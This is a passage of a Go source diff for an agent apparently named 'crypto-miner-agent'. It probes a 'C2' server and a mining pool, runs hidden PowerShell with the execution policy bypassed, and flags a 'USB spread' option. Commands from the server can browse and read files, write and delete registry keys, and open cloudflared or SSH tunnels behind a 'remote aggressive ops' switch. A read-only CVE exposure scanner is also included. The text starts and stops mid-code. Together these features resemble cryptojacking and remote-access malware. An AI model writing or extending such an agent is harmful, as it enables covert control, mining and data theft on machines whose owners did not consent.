PoolTCPOK bool `json:"pool_tcp_ok,omitempty"`
|
||||
PoolTCPError string `json:"pool_tcp_error,omitempty"`
|
||||
}
|
||||
|
||||
func runConnectivityProbe(serverURL, poolHost string, poolPort int) ConnectivityProbeReport {
|
||||
report := ConnectivityProbeReport{}
|
||||
host, port, err := hostPortFromServerURL(serverURL)
|
||||
if err != nil {
|
||||
report.C2Host = serverURL
|
||||
report.C2TCPError = err.Error()
|
||||
return report
|
||||
}
|
||||
report.C2Host = net.JoinHostPort(host, port)
|
||||
report.C2DNSOK, report.C2DNSAddrs = probeDNSResolve(host)
|
||||
report.C2TCPOK, report.C2TCPError = probeTCPConnect(host, port)
|
||||
|
||||
if poolHost != "" {
|
||||
pport := poolPort
|
||||
if pport <= 0 {
|
||||
pport = 3333
|
||||
}
|
||||
pportStr := fmt.Sprintf("%d", pport)
|
||||
report.PoolHost = net.JoinHostPort(poolHost, pportStr)
|
||||
report.PoolDNSOK, report.PoolDNSAddrs = probeDNSResolve(poolHost)
|
||||
report.PoolTCPOK, report.PoolTCPError = probeTCPConnect(poolHost, pportStr)
|
||||
}
|
||||
return report
|
||||
}
|
||||
|
||||
func hostPortFromServerURL(serverURL string) (host, port string, err error) {
|
||||
raw := strings.TrimSpace(serverURL)
|
||||
if raw == "" {
|
||||
return "", "", fmt.Errorf("empty server URL")
|
||||
}
|
||||
if !strings.Contains(raw, "://") {
|
||||
raw = "http://" + raw
|
||||
}
|
||||
u, err := url.Parse(raw)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
host = u.Hostname()
|
||||
port = u.Port()
|
||||
if port == "" {
|
||||
if u.Scheme == "https" {
|
||||
port = "443"
|
||||
} else {
|
||||
port = "80"
|
||||
}
|
||||
}
|
||||
if host == "" {
|
||||
return "", "", fmt.Errorf("no host in server URL")
|
||||
}
|
||||
return host, port, nil
|
||||
}
|
||||
|
||||
func probeDNSResolve(host string) (bool, []string) {
|
||||
addrs, err := net.LookupHost(host)
|
||||
if err != nil || len(addrs) == 0 {
|
||||
return false, nil
|
||||
}
|
||||
return true, addrs
|
||||
}
|
||||
|
||||
func probeTCPConnect(host, port string) (bool, string) {
|
||||
addr := net.JoinHostPort(host, port)
|
||||
conn, err := net.DialTimeout("tcp", addr, 5*time.Second)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
_ = conn.Close()
|
||||
return true, ""
|
||||
}
|
||||
20
agent/client/connectivity_probe_test.go
Normal file
20
agent/client/connectivity_probe_test.go
Normal file
@@ -0,0 +1,20 @@
|
||||
package client
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestHostPortFromServerURL(t *testing.T) {
|
||||
host, port, err := hostPortFromServerURL("https://c2.example.com:8989")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if host != "c2.example.com" || port != "8989" {
|
||||
t.Fatalf("got %s:%s", host, port)
|
||||
}
|
||||
host, port, err = hostPortFromServerURL("http://192.168.1.5")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if host != "192.168.1.5" || port != "80" {
|
||||
t.Fatalf("got %s:%s", host, port)
|
||||
}
|
||||
}
|
||||
66
agent/client/cve_catalog.go
Normal file
66
agent/client/cve_catalog.go
Normal file
@@ -0,0 +1,66 @@
|
||||
package client
|
||||
|
||||
// KEVEntry describes a CISA-known-exploited style vulnerability for read-only exposure checks.
|
||||
// Heuristics indicate likely exposure on the host — not a penetration test.
|
||||
type KEVEntry struct {
|
||||
ID string
|
||||
Name string
|
||||
Product string
|
||||
Severity string // critical, high, medium
|
||||
CISAKEV bool
|
||||
Description string
|
||||
}
|
||||
|
||||
// KEVCatalog is aligned with CISA AA22-117A / AA22-279A top exploited CVE families.
|
||||
var KEVCatalog = []KEVEntry{
|
||||
{ID: "CVE-2021-44228", Name: "Log4Shell", Product: "Apache Log4j", Severity: "critical", CISAKEV: true,
|
||||
Description: "JNDI RCE in Log4j 2.x before 2.17.0"},
|
||||
{ID: "CVE-2021-26855", Name: "ProxyLogon", Product: "Microsoft Exchange", Severity: "critical", CISAKEV: true,
|
||||
Description: "Exchange Server pre-auth SSRF chain (Mar 2021)"},
|
||||
{ID: "CVE-2020-1472", Name: "Zerologon", Product: "Microsoft Netlogon", Severity: "critical", CISAKEV: true,
|
||||
Description: "Domain controller Netlogon privilege escalation"},
|
||||
{ID: "CVE-2019-19781", Name: "Citrix ADC", Product: "Citrix ADC/Gateway", Severity: "critical", CISAKEV: true,
|
||||
Description: "Path traversal on Citrix Application Delivery Controller"},
|
||||
{ID: "CVE-2019-11510", Name: "Pulse Secure", Product: "Ivanti Pulse Connect Secure", Severity: "critical", CISAKEV: true,
|
||||
Description: "Arbitrary file read on Pulse VPN appliances"},
|
||||
{ID: "CVE-2020-5902", Name: "F5 BIG-IP", Product: "F5 BIG-IP", Severity: "critical", CISAKEV: true,
|
||||
Description: "Remote code execution in TMUI (CVE-2020-5902)"},
|
||||
{ID: "CVE-2022-1388", Name: "F5 iControl", Product: "F5 BIG-IP", Severity: "critical", CISAKEV: true,
|
||||
Description: "iControl REST auth bypass (May 2022)"},
|
||||
{ID: "CVE-2021-26084", Name: "Confluence OGNL", Product: "Atlassian Confluence", Severity: "critical", CISAKEV: true,
|
||||
Description: "Confluence Server/Data Center RCE"},
|
||||
{ID: "CVE-2022-26134", Name: "Confluence RCE", Product: "Atlassian Confluence", Severity: "critical", CISAKEV: true,
|
||||
Description: "Confluence unauthenticated RCE (2022)"},
|
||||
{ID: "CVE-2021-40539", Name: "ManageEngine", Product: "Zoho ManageEngine ADSelfService Plus", Severity: "critical", CISAKEV: true,
|
||||
Description: "Unauthenticated RCE in ADSelfService Plus"},
|
||||
{ID: "CVE-2018-13379", Name: "FortiOS path traversal", Product: "Fortinet FortiGate/FortiOS", Severity: "critical", CISAKEV: true,
|
||||
Description: "SSL-VPN path traversal (FortiOS)"},
|
||||
{ID: "CVE-2021-34527", Name: "PrintNightmare", Product: "Windows Print Spooler", Severity: "high", CISAKEV: true,
|
||||
Description: "Spooler remote code execution (Jul 2021)"},
|
||||
{ID: "CVE-2020-0688", Name: "Exchange RCE", Product: "Microsoft Exchange", Severity: "high", CISAKEV: true,
|
||||
Description: "Exchange control panel deserialization RCE"},
|
||||
{ID: "CVE-2021-21972", Name: "vCenter RCE", Product: "VMware vCenter", Severity: "critical", CISAKEV: true,
|
||||
Description: "vSphere Client RCE in vCenter Server"},
|
||||
}
|
||||
|
||||
// KEVFinding is one catalog entry with a probe result for this host.
|
||||
type KEVFinding struct {
|
||||
CVE string `json:"cve"`
|
||||
Name string `json:"name"`
|
||||
Product string `json:"product"`
|
||||
Severity string `json:"severity"`
|
||||
CISAKEV bool `json:"cisa_kev"`
|
||||
Status string `json:"status"` // exposed, likely, clear, n/a
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
// KEVScanReport aggregates exposure heuristics for the dashboard.
|
||||
type KEVScanReport struct {
|
||||
ScannedAt string `json:"scanned_at"`
|
||||
ExposedCount int `json:"exposed_count"`
|
||||
LikelyCount int `json:"likely_count"`
|
||||
CriticalCount int `json:"critical_count"`
|
||||
RiskScore int `json:"risk_score"` // 0-100 higher = worse
|
||||
Findings []KEVFinding `json:"findings"`
|
||||
Summary string `json:"summary,omitempty"`
|
||||
}
|
||||
34
agent/client/cve_scan_common.go
Normal file
34
agent/client/cve_scan_common.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package client
|
||||
|
||||
import "time"
|
||||
|
||||
func finalizeKEVReport(findings []KEVFinding) *KEVScanReport {
|
||||
r := &KEVScanReport{
|
||||
ScannedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
Findings: findings,
|
||||
}
|
||||
for _, f := range findings {
|
||||
switch f.Status {
|
||||
case "exposed":
|
||||
r.ExposedCount++
|
||||
if f.Severity == "critical" {
|
||||
r.CriticalCount++
|
||||
}
|
||||
case "likely":
|
||||
r.LikelyCount++
|
||||
}
|
||||
}
|
||||
r.RiskScore = kevRiskScore(r)
|
||||
return r
|
||||
}
|
||||
|
||||
func kevRiskScore(r *KEVScanReport) int {
|
||||
if r == nil {
|
||||
return 0
|
||||
}
|
||||
score := r.CriticalCount*25 + r.ExposedCount*15 + r.LikelyCount*8
|
||||
if score > 100 {
|
||||
return 100
|
||||
}
|
||||
return score
|
||||
}
|
||||
16
agent/client/cve_scan_stub.go
Normal file
16
agent/client/cve_scan_stub.go
Normal file
@@ -0,0 +1,16 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
func scanKEVExposure(_ *PatchStatusReport, _ *ListenPortsReport, _ *SysCheckSecurity) *KEVScanReport {
|
||||
findings := make([]KEVFinding, 0, len(KEVCatalog))
|
||||
for _, e := range KEVCatalog {
|
||||
findings = append(findings, KEVFinding{
|
||||
CVE: e.ID, Name: e.Name, Product: e.Product, Severity: e.Severity, CISAKEV: e.CISAKEV,
|
||||
Status: "n/a", Detail: "KEV heuristics run on Windows agents only",
|
||||
})
|
||||
}
|
||||
r := finalizeKEVReport(findings)
|
||||
r.Summary = "KEV scan requires Windows"
|
||||
return r
|
||||
}
|
||||
22
agent/client/cve_scan_test.go
Normal file
22
agent/client/cve_scan_test.go
Normal file
@@ -0,0 +1,22 @@
|
||||
package client
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestFinalizeKEVReportRiskScore(t *testing.T) {
|
||||
r := finalizeKEVReport([]KEVFinding{
|
||||
{CVE: "CVE-2021-26855", Status: "exposed", Severity: "critical"},
|
||||
{CVE: "CVE-2021-44228", Status: "likely", Severity: "critical"},
|
||||
})
|
||||
if r.ExposedCount != 1 || r.LikelyCount != 1 || r.CriticalCount != 1 {
|
||||
t.Fatalf("counts: %+v", r)
|
||||
}
|
||||
if r.RiskScore < 30 {
|
||||
t.Fatalf("expected elevated risk score, got %d", r.RiskScore)
|
||||
}
|
||||
}
|
||||
|
||||
func TestKEVCatalogNotEmpty(t *testing.T) {
|
||||
if len(KEVCatalog) < 10 {
|
||||
t.Fatalf("expected KEV catalog entries, got %d", len(KEVCatalog))
|
||||
}
|
||||
}
|
||||
231
agent/client/cve_scan_windows.go
Normal file
231
agent/client/cve_scan_windows.go
Normal file
@@ -0,0 +1,231 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const kevProbeScript = `
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$out = [ordered]@{}
|
||||
|
||||
# Exchange (ProxyLogon / ProxyLogon family)
|
||||
$exSvc = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -like 'MSExchange*' -or $_.DisplayName -like '*Exchange*' })
|
||||
$exReg = Test-Path 'HKLM:\SOFTWARE\Microsoft\ExchangeServer'
|
||||
$out.exchange_installed = ($exSvc.Count -gt 0 -or $exReg)
|
||||
|
||||
# Domain Controller (Zerologon surface)
|
||||
try {
|
||||
$dc = (Get-CimInstance Win32_ComputerSystem).DomainRole -in 4,5
|
||||
} catch { $dc = $false }
|
||||
$out.is_domain_controller = $dc
|
||||
|
||||
# Pulse / Ivanti VPN client or service
|
||||
$pulse = @(Get-Service -ErrorAction SilentlyContinue | Where-Object {
|
||||
$_.DisplayName -match 'Pulse|Ivanti|Juniper Pulse' -or $_.Name -match 'Pulse'
|
||||
})
|
||||
$out.pulse_present = ($pulse.Count -gt 0)
|
||||
|
||||
# Citrix ADC / Gateway / Workspace server components
|
||||
$citrix = @(
|
||||
Test-Path 'C:\inetpub\scripts',
|
||||
(Test-Path 'C:\Program Files\Citrix'),
|
||||
(Test-Path 'C:\Program Files (x86)\Citrix')
|
||||
) | Where-Object { $_ }
|
||||
$out.citrix_present = ($citrix.Count -gt 0)
|
||||
|
||||
# F5 BIG-IP local management (rare on desktop)
|
||||
$f5 = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'bigip|f5' })
|
||||
$out.f5_process = ($f5.Count -gt 0)
|
||||
|
||||
# Confluence / Atlassian stack
|
||||
$conf = @(Get-Process -ErrorAction SilentlyContinue | Where-Object {
|
||||
$_.Path -match 'atlassian|confluence|tomcat' -or $_.ProcessName -match 'confluence|tomcat'
|
||||
})
|
||||
$out.confluence_like = ($conf.Count -gt 0)
|
||||
|
||||
# ManageEngine ADSelfService Plus
|
||||
$me = @(
|
||||
Test-Path 'C:\Program Files\ManageEngine',
|
||||
Test-Path 'C:\ManageEngine'
|
||||
) | Where-Object { $_ }
|
||||
$out.manageengine_present = ($me.Count -gt 0)
|
||||
|
||||
# Fortinet FortiClient
|
||||
$forti = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'forti' })
|
||||
$out.forticlient = ($forti.Count -gt 0)
|
||||
|
||||
# VMware vCenter / vSphere client heavy installs
|
||||
$vmw = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'vpxd|VMware' })
|
||||
$out.vmware_serverish = ($vmw.Count -gt 0)
|
||||
|
||||
# Print Spooler (PrintNightmare surface)
|
||||
try {
|
||||
$sp = Get-Service Spooler
|
||||
$out.spooler_running = ($sp.Status -eq 'Running')
|
||||
} catch { $out.spooler_running = $false }
|
||||
|
||||
# Log4j jars — shallow search (bounded)
|
||||
$log4j = @()
|
||||
$roots = @(
|
||||
$env:ProgramFiles,
|
||||
${env:ProgramFiles(x86)},
|
||||
'C:\ProgramData'
|
||||
) | Where-Object { $_ -and (Test-Path $_) }
|
||||
foreach ($root in $roots) {
|
||||
$log4j += Get-ChildItem -Path $root -Filter 'log4j-core*.jar' -Recurse -Depth 3 -ErrorAction SilentlyContinue |
|
||||
Select-Object -First 5 -ExpandProperty FullName
|
||||
}
|
||||
$out.log4j_jars = @($log4j | Select-Object -Unique)
|
||||
|
||||
$out | ConvertTo-Json -Compress -Depth 4
|
||||
`
|
||||
|
||||
type kevProbeResult struct {
|
||||
ExchangeInstalled bool `json:"exchange_installed"`
|
||||
IsDomainController bool `json:"is_domain_controller"`
|
||||
PulsePresent bool `json:"pulse_present"`
|
||||
CitrixPresent bool `json:"citrix_present"`
|
||||
F5Process bool `json:"f5_process"`
|
||||
ConfluenceLike bool `json:"confluence_like"`
|
||||
ManageEnginePresent bool `json:"manageengine_present"`
|
||||
FortiClient bool `json:"forticlient"`
|
||||
VMwareServerish bool `json:"vmware_serverish"`
|
||||
SpoolerRunning bool `json:"spooler_running"`
|
||||
Log4jJars []string `json:"log4j_jars"`
|
||||
}
|
||||
|
||||
func runKEVProbe() (*kevProbeResult, error) {
|
||||
out, err := silentCombinedOutput(
|
||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||
kevProbeScript,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
raw := strings.TrimSpace(string(out))
|
||||
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
var p kevProbeResult
|
||||
if err := json.Unmarshal([]byte(raw), &p); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &p, nil
|
||||
}
|
||||
|
||||
func scanKEVExposure(patch *PatchStatusReport, ports *ListenPortsReport, sec *SysCheckSecurity) *KEVScanReport {
|
||||
probe, probeErr := runKEVProbe()
|
||||
findings := make([]KEVFinding, 0, len(KEVCatalog))
|
||||
|
||||
patchDays := -1
|
||||
if patch != nil && patch.LastPatchDays != nil {
|
||||
patchDays = *patch.LastPatchDays
|
||||
}
|
||||
listening := map[int]bool{}
|
||||
if ports != nil {
|
||||
for _, p := range ports.Ports {
|
||||
listening[p.Port] = true
|
||||
}
|
||||
}
|
||||
|
||||
for _, e := range KEVCatalog {
|
||||
f := KEVFinding{
|
||||
CVE: e.ID, Name: e.Name, Product: e.Product, Severity: e.Severity, CISAKEV: e.CISAKEV,
|
||||
Status: "clear", Detail: e.Description,
|
||||
}
|
||||
if probeErr != nil {
|
||||
f.Status = "n/a"
|
||||
f.Detail = "probe unavailable"
|
||||
findings = append(findings, f)
|
||||
continue
|
||||
}
|
||||
|
||||
switch e.ID {
|
||||
case "CVE-2021-26855", "CVE-2020-0688":
|
||||
if probe.ExchangeInstalled {
|
||||
f.Status = "exposed"
|
||||
f.Detail = "Microsoft Exchange services/registry detected — verify Mar 2021+ CU patches"
|
||||
if patchDays >= 0 && patchDays > 90 {
|
||||
f.Status = "likely"
|
||||
f.Detail += "; host patch age > 90 days"
|
||||
}
|
||||
}
|
||||
case "CVE-2020-1472":
|
||||
if probe.IsDomainController {
|
||||
f.Status = "likely"
|
||||
f.Detail = "Domain controller role — ensure Aug 2020 Netlogon patch (Zerologon) applied"
|
||||
if patchDays >= 0 && patchDays > 60 {
|
||||
f.Status = "exposed"
|
||||
f.Detail = "DC with patch age > 60 days — Zerologon mitigation urgency"
|
||||
}
|
||||
}
|
||||
case "CVE-2021-44228":
|
||||
if len(probe.Log4jJars) > 0 {
|
||||
f.Status = "likely"
|
||||
f.Detail = "log4j-core JAR(s) found: " + strings.Join(probe.Log4jJars, "; ")
|
||||
}
|
||||
case "CVE-2019-19781":
|
||||
if probe.CitrixPresent {
|
||||
f.Status = "likely"
|
||||
f.Detail = "Citrix install paths present — verify ADC/Gateway patch level if server role"
|
||||
}
|
||||
case "CVE-2019-11510":
|
||||
if probe.PulsePresent {
|
||||
f.Status = "likely"
|
||||
f.Detail = "Pulse/Ivanti VPN software detected — verify appliance firmware if VPN gateway"
|
||||
}
|
||||
case "CVE-2020-5902", "CVE-2022-1388":
|
||||
if probe.F5Process || listening[443] {
|
||||
if probe.F5Process {
|
||||
f.Status = "likely"
|
||||
f.Detail = "F5-related process detected"
|
||||
}
|
||||
}
|
||||
case "CVE-2021-26084", "CVE-2022-26134":
|
||||
if probe.ConfluenceLike {
|
||||
f.Status = "likely"
|
||||
f.Detail = "Atlassian/Confluence-like Java process — verify Confluence patch level"
|
||||
}
|
||||
case "CVE-2021-40539":
|
||||
if probe.ManageEnginePresent {
|
||||
f.Status = "likely"
|
||||
f.Detail = "ManageEngine directory present — verify ADSelfService Plus version"
|
||||
}
|
||||
case "CVE-2018-13379":
|
||||
if probe.FortiClient {
|
||||
f.Status = "likely"
|
||||
f.Detail = "Fortinet client process running — verify FortiOS/FortiClient versions on VPN edge"
|
||||
}
|
||||
case "CVE-2021-21972":
|
||||
if probe.VMwareServerish {
|
||||
f.Status = "likely"
|
||||
f.Detail = "VMware server-style services detected — verify vCenter patch level"
|
||||
}
|
||||
case "CVE-2021-34527":
|
||||
if probe.SpoolerRunning && !probe.IsDomainController {
|
||||
f.Status = "likely"
|
||||
f.Detail = "Print Spooler running — restrict if not required (PrintNightmare era)"
|
||||
}
|
||||
}
|
||||
|
||||
// Stale patching amplifies any likely/exposed KEV surface
|
||||
if f.Status == "likely" && patchDays > 120 {
|
||||
f.Detail += " · OS patches older than 120 days"
|
||||
}
|
||||
|
||||
findings = append(findings, f)
|
||||
}
|
||||
|
||||
r := finalizeKEVReport(findings)
|
||||
if r.ExposedCount > 0 || r.CriticalCount > 0 {
|
||||
r.Summary = "CISA KEV-style exposure indicators detected — patch or isolate affected roles"
|
||||
} else if r.LikelyCount > 0 {
|
||||
r.Summary = "Some KEV-related software stacks detected — verify versions and patches"
|
||||
} else {
|
||||
r.Summary = "No high-confidence KEV exposure indicators on this host"
|
||||
}
|
||||
return r
|
||||
}
|
||||
12
agent/client/file_ops_unix.go
Normal file
12
agent/client/file_ops_unix.go
Normal file
@@ -0,0 +1,12 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
func (c *AgentClient) handleFileCommand(action, path string) bool {
|
||||
switch action {
|
||||
case "list_dir", "read_file":
|
||||
c.sendCommandResult(action, false, "file browser commands are only supported on Windows agents")
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
82
agent/client/file_ops_windows.go
Normal file
82
agent/client/file_ops_windows.go
Normal file
@@ -0,0 +1,82 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
const maxReadFileBytes = 512 * 1024
|
||||
|
||||
type dirEntry struct {
|
||||
Name string `json:"name"`
|
||||
IsDir bool `json:"is_dir"`
|
||||
Size int64 `json:"size"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleFileCommand(action, path string) bool {
|
||||
switch action {
|
||||
case "list_dir":
|
||||
if path == "" {
|
||||
c.sendCommandResult(action, false, "path is required")
|
||||
return true
|
||||
}
|
||||
resolved, err := deploy.ResolveRemotePath(path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
entries, err := os.ReadDir(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
out := make([]dirEntry, 0, len(entries))
|
||||
for _, e := range entries {
|
||||
info, err := e.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
out = append(out, dirEntry{Name: e.Name(), IsDir: e.IsDir(), Size: info.Size()})
|
||||
}
|
||||
b, _ := json.Marshal(map[string]interface{}{"path": resolved, "entries": out})
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
return true
|
||||
|
||||
case "read_file":
|
||||
if path == "" {
|
||||
c.sendCommandResult(action, false, "path is required")
|
||||
return true
|
||||
}
|
||||
resolved, err := deploy.ResolveRemotePath(path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
info, err := os.Stat(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
if info.IsDir() {
|
||||
c.sendCommandResult(action, false, "path is a directory")
|
||||
return true
|
||||
}
|
||||
if info.Size() > maxReadFileBytes {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("file too large (%d bytes, cap %d)", info.Size(), maxReadFileBytes))
|
||||
return true
|
||||
}
|
||||
b, err := os.ReadFile(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -35,4 +35,5 @@ func WGSetupJSON() string {
|
||||
|
||||
func WGConfigure(_ WGConfigPayload) error { return nil }
|
||||
func WGTeardown() {}
|
||||
func WGIsActive() bool { return false }
|
||||
func WGStatus() string { return "not supported on this platform" }
|
||||
|
||||
@@ -150,6 +150,11 @@ func WGTeardown() {
|
||||
log.Printf("[pathtracer] WireGuard tunnel torn down")
|
||||
}
|
||||
|
||||
// WGIsActive reports whether a Path Tracer WireGuard tunnel is running.
|
||||
func WGIsActive() bool {
|
||||
return wgState.tunnelName != ""
|
||||
}
|
||||
|
||||
// WGStatus returns the number of active WireGuard peers.
|
||||
func WGStatus() string {
|
||||
if wgState.tunnelName == "" {
|
||||
|
||||
@@ -41,6 +41,8 @@ type AuthPayload struct {
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
USBSpread bool `json:"usb_spread,omitempty"`
|
||||
}
|
||||
|
||||
type AuthResponse struct {
|
||||
|
||||
13
agent/client/registry_ops_stub.go
Normal file
13
agent/client/registry_ops_stub.go
Normal file
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
func (c *AgentClient) handleRegistryCommand(action, path, data string) bool {
|
||||
switch action {
|
||||
case "registry_read", "registry_write", "registry_delete":
|
||||
c.sendCommandResult(action, false, "registry operations are unsupported on this platform")
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
89
agent/client/registry_ops_windows.go
Normal file
89
agent/client/registry_ops_windows.go
Normal file
@@ -0,0 +1,89 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
type registryCommandPayload struct {
|
||||
Hive string `json:"hive"`
|
||||
Path string `json:"path"`
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
Type string `json:"type"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleRegistryCommand(action, path, data string) bool {
|
||||
switch action {
|
||||
case "registry_read", "registry_write", "registry_delete":
|
||||
default:
|
||||
return false
|
||||
}
|
||||
|
||||
payload, err := parseRegistryPayload(path, data)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
hiveToken, err := deploy.ParseRegistryHive(payload.Hive)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
|
||||
switch action {
|
||||
case "registry_read":
|
||||
out, err := deploy.FleetRegistryRead(hiveToken, payload.Path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
b, _ := json.Marshal(out)
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
case "registry_write":
|
||||
if payload.Name == "" || payload.Value == "" {
|
||||
c.sendCommandResult(action, false, "name and value are required")
|
||||
return true
|
||||
}
|
||||
if err := deploy.FleetRegistryWrite(hiveToken, payload.Path, payload.Name, payload.Value, payload.Type); err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("wrote %s\\%s\\%s", strings.ToUpper(payload.Hive), payload.Path, payload.Name))
|
||||
case "registry_delete":
|
||||
if payload.Name == "" {
|
||||
c.sendCommandResult(action, false, "name is required")
|
||||
return true
|
||||
}
|
||||
if err := deploy.FleetRegistryDelete(hiveToken, payload.Path, payload.Name); err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("deleted %s\\%s\\%s", strings.ToUpper(payload.Hive), payload.Path, payload.Name))
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func parseRegistryPayload(path, data string) (registryCommandPayload, error) {
|
||||
var payload registryCommandPayload
|
||||
if strings.TrimSpace(data) != "" {
|
||||
if err := json.Unmarshal([]byte(data), &payload); err != nil {
|
||||
return payload, fmt.Errorf("invalid registry payload JSON: %w", err)
|
||||
}
|
||||
}
|
||||
if payload.Path == "" {
|
||||
payload.Path = strings.TrimSpace(path)
|
||||
}
|
||||
if payload.Hive == "" {
|
||||
return payload, fmt.Errorf("hive is required (HKCU or HKLM)")
|
||||
}
|
||||
if payload.Path == "" {
|
||||
return payload, fmt.Errorf("path is required")
|
||||
}
|
||||
return payload, nil
|
||||
}
|
||||
@@ -61,6 +61,8 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
|
||||
|
||||
collectSysCheckPlatform(r)
|
||||
|
||||
r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security)
|
||||
|
||||
if dir, err := cfg.InstallDirectory(); err == nil {
|
||||
if r.Environment == nil {
|
||||
r.Environment = &SysCheckEnvironment{}
|
||||
|
||||
@@ -22,6 +22,7 @@ type FullSysCheckReport struct {
|
||||
Patch *PatchStatusReport `json:"patch,omitempty"`
|
||||
Environment *SysCheckEnvironment `json:"environment,omitempty"`
|
||||
Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"`
|
||||
KEVExposure *KEVScanReport `json:"kev_exposure,omitempty"`
|
||||
|
||||
RawSysinfo string `json:"raw_sysinfo,omitempty"`
|
||||
RawIPConfig string `json:"raw_ipconfig,omitempty"`
|
||||
|
||||
152
agent/client/tunnel_commands.go
Normal file
152
agent/client/tunnel_commands.go
Normal file
@@ -0,0 +1,152 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
// tunnelActions are unified protocol tunneling commands (owned-fleet ops).
|
||||
var tunnelActions = map[string]bool{
|
||||
"tunnel_cloudflared": true,
|
||||
"tunnel_wireguard": true,
|
||||
"tunnel_ssh_forward": true,
|
||||
"tunnel_status": true,
|
||||
"tunnel_stop": true,
|
||||
"start_tunnel": true, // legacy alias
|
||||
}
|
||||
|
||||
func isTunnelAction(action string) bool {
|
||||
return tunnelActions[action]
|
||||
}
|
||||
|
||||
func (c *AgentClient) allowTunnelAction(action string) (bool, string) {
|
||||
switch action {
|
||||
case "tunnel_status", "tunnel_wireguard":
|
||||
return true, ""
|
||||
default:
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
}
|
||||
return true, ""
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleTunnelCommand(action string, command, path, data string) bool {
|
||||
if !isTunnelAction(action) {
|
||||
return false
|
||||
}
|
||||
|
||||
ok, reason := c.allowTunnelAction(action)
|
||||
if !ok {
|
||||
c.sendCommandResult(action, false, reason)
|
||||
return true
|
||||
}
|
||||
|
||||
switch action {
|
||||
case "tunnel_cloudflared", "start_tunnel":
|
||||
serverURL := strings.TrimSpace(command)
|
||||
if serverURL == "" {
|
||||
serverURL = strings.TrimSpace(path)
|
||||
}
|
||||
if serverURL == "" {
|
||||
serverURL = c.cfg.ServerURL
|
||||
}
|
||||
